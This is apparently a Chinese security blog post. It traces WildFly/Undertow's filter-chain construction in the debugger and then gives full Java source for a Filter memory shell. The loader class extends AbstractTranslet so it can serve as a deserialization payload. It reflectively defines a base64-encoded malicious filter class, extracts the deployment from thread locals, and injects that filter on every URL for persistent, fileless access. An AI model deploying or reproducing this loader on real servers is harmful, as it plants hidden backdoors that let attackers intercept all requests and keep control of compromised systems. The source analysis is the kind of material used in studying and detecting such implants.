1、环境搭建
WildFly，原名 JBoss AS (JBoss Application Server) 或者 JBoss，是一套应用程序服务器，属于开源的企业级 Java 中间件软件，用于实现基于 SOA 架构的 Web 应用和服务。 WildFly 包含一组可独立运行的软件。
本文主要分析该中间的Filter内存马，以及如何编写该中间的Filter内存马
wildfly 26.1.3
创建HelloFilter
2、Filter分析
在Servlet打下断点，查看调用栈
在调用栈中寻找第一次doFilter()出现的地方，io.undertow.servlet.handlers.FilterHandler中第一次调用了doFilter，关注fiterChain是如何生成的。
new FilterHandler.FilterChainImpl(exchange, filters, this.next, this.allowNonStandardWrappers);
通过该函数生成fiterChain，其中传入的关键参数是filters，关注filters
filters通过this.filters.get(dispatcher)生成的。关注this.filters是如何生成的。
this.filters是通过构造方法传入一个形参为filters的参数生成的，在此打个断点。看调用栈，关注哪里调用了该构造方法。
io.undertow.servlet.handlers.ServletPathMatches::createHandler这里实例化了个FilterHandler。在看到这里形参filters的位置传入的是noExtension，noExtension来自于
createHandler函数的形参List<ManagedFilter>> noExtension，关注哪里调用了createHandler()
在io.undertow.servlet.handlers.ServletPathMatches::setupServletChains中调用了creatHandler，分析setupServletChains
在setupServletChains中的addToListMap(noExtension, filterMapping.getDispatcher(), filter);，会生成ListMap。List中的元素形入 <filterMapping.getDispatcher()，filter>，关注filterMapping和filter是怎么生成的。
往上跟会看到如下代码。分别分析filterMapping 和 filter是如何生成的。
1、分析filterMapping
先分析filterMapping，可以看出filterMapping其实是来自deploymentInfo，
继续往上看的话，deploymentInfo是通过this.deployment.getDeploymentInfo()获取的。可以理解为filterMapping来自于deploymentInfo，而deploymentInfo来自于deployment。
回过头来跟进看一下deploymentInfo.getFilterMappings()。getFilterMappings该函数从deploymentInfo中获取其filterUrlMappings(ArrayList类型)其元素类型为FilterMapingInfo。
FilterMapingInfo如下。
deploymentInfo中有insertFilterUrlMapping方法，用于往filterUrlMappings中添加FilterMappingInfo类型的元素。
2、分析filter
filter通过filters.getManagedFilter(filterMapping.getFilterName());获取的。
而这里的filters来自于this.deployment.getFilters(),这里需注意一个点，this.deployment.getFilters()返回是一个ManagedFilters类型的对象。
因此filters.getManagedFilter(filterMapping.getFilterName()) 实际可以理解为this.deployment.getFilters().getManagedFilter(filterMapping.getFilterName())
跟进getManagedFilter方法,io.undertow.servlet.core.ManagedFilters::getManagedFilter
该方法从managedFilterMap中获取一个ManagedFilter类型的对象
而在ManagedFilters中还有另一个方法addFilter，往managedFilterMap中添加数据，其参数为FilterInfo类型的变量。
综上所述，不管是filter还是filterMapping，都得从deployment出发，关注deployment是如何生成的
io.undertow.servlet.handlers.ServletPathMatches的构造方法中传入deployment，打下断点，重启服务器。观察调用栈
跟到io.undertow.servlet.core.DeploymentImpl
DeploymentImpl的构造方法中调用了new ServletPathMatches，同时构造方法还是传入参数deploymentInfo。关注调用栈。
这里实例化了一个DeploymentImpl对象，传入deploymentInfo,deploymentInfo来自于this.originalDeployment.clone()
跟进clone()，这里通过addFilter()，传入FilterInfo类型的数据，那么可以理解为获取到DeploymentInfo后，可以通过addFilter()，添加FilterInfo数据。
跟进FilterInfo，可以通过new FilterInfo(FilterName,evilFilter)的形式实例化一个FilterInfo
3、编写内存马
思路
1、获取到deployment 2、获取到deploymentInfo 3、实例化一个新的FilterInfo,即FilterInfo filterinfo = new FilterInfo(filternme,filter) 4、deploymentinfo.addFilter(filterinfo) 5、deploymentinfo.insertFilterUrlMapping(0,filterName,url, DispatcherType.REQUEST) 6、deployment.getFilters().addFilter(filterinfo)
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import io.undertow.servlet.api.Deployment;
import io.undertow.servlet.api.DeploymentInfo;
import io.undertow.servlet.api.FilterInfo;
import io.undertow.servlet.handlers.ServletRequestContext;
import io.undertow.servlet.spec.HttpServletResponseImpl;
import io.undertow.servlet.spec.ServletContextImpl;
import sun.misc.BASE64Decoder;
import javax.servlet.DispatcherType;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class WildflyFilterLoader extends AbstractTranslet {
private static ServletContextImpl servletContext;
private static HttpServletResponseImpl response;
private static DeploymentInfo deploymentInfo;
private static Deployment deployment;
private static String filterName = "HFilter";
private static String filterClassName = "com.server.HFilter";
private static String url = "/*";
private static synchronized void LoadFilter() throws Exception {
try{
Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
}catch (Exception e){
Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
byte[] b = (new BASE64Decoder()).decodeBuffer("恶意Filter.class | base64");
a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
}
}
//获取上下文
public static synchronized void GetWebContent() throws Exception {
try{
try{
Thread thread = Thread.currentThread();
Object threadLocals = GetField(thread, "threadLocals");
Object table = GetField(threadLocals, "table");
for(int i = 0; i<= Array.getLength(table)-1; i++){
try{
Object object = Array.get(table, i);
Object value = GetField(object, "value");
if (value.getClass().getName().contains("ServletRequestContext")){
ServletRequestContext servletRequestContext = (ServletRequestContext) value;
response = (HttpServletResponseImpl) GetField(servletRequestContext, "originalResponse");
servletContext = (ServletContextImpl) GetField(servletRequestContext, "currentServletContext");
deploymentInfo = (DeploymentInfo) GetField(servletContext, "deploymentInfo");
deployment = (Deployment) GetField(servletContext, "deployment");
break;
}
}catch (Exception e){}
}
}catch (Exception e){
}
}catch (Exception e){
e.printStackTrace();
}
}
private static synchronized void InjectFilter() throws Exception {
try{
if(deployment != null && deploymentInfo != null){
Class characterEncodingHFilter = Thread.currentThread().getContextClassLoader().loadClass(filterClassName);
FilterInfo filterInfo = new FilterInfo(filterName,characterEncodingHFilter);
deploymentInfo.addFilter(filterInfo);
deploymentInfo.insertFilterUrlMapping(0,filterName,url, DispatcherType.REQUEST);
deployment.getFilters().addFilter(filterInfo);
response.addHeader("Status","Work");
}
}catch (Exception e){
e.printStackTrace();
}
}
static {
new WildflyFilterLoader();
}
public WildflyFilterLoader(){
try{
LoadFilter();
GetWebContent();
InjectFilter();
}catch (Exception e){
}
}
private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
如有侵权请联系:admin#unsafe.sh